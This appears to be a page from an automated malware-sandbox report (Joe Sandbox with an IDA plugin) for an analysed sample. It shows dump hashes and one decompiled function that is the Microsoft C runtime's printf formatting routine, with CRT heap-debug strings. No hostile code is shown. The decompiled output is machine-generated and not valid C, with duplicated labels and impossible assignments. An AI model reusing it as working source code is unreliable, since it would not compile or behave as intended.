Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 3e7ddf6a0bf51ed36023ac17753a659f7ba53b1f29b32258112860c7e81f873a
Instruction ID: 4fb65011847e3ef5fd31dd4898dac8b7b37ae743d665edf73961ac818c4a0e7b
Opcode Fuzzy Hash: 3e7ddf6a0bf51ed36023ac17753a659f7ba53b1f29b32258112860c7e81f873a
Instruction Fuzzy Hash: 4291E574A40204BBEB24DB48DD82F6A73E5EF48704F2485D4F628AB2D2D671EE41DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B95447 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00B95447(void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t494 = E00B93D50(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00B97280() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L00B7D760();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E00B95E80(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00B95EC0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00B95E80(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00B95EC0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00B97890(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00B95EC0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00B95E80(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L00B7EB20( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00B77B58) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0xb77b78) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0xb77b78) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00B95CD0))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00B91090( *(_t627 - 0x251) & 0x000000ff, E00B7C680(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00B95DE0( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00B95DE0( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L00B7D760();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00B80C60(_t572))) = 0x16;
													E00B809F0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E00B7C650(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0xb95d08; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00B95CF0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0xb95d30; // 0x553e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M00B95D1C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00B93D50(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0xd121a0; // 0xb775a0
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E00B7C680(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0xd12188; // 0xddc09d6c
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0xd12194; // 0xddc09d6c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0xd12190; // 0xddc09d6c
																	E00B849C0(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00B93D50(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00B93D90(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00B97890(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0xd121a0; // 0xb775a0
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0xd121a4; // 0xb77590
															 *(__ebp - 4) = __eax;
														}
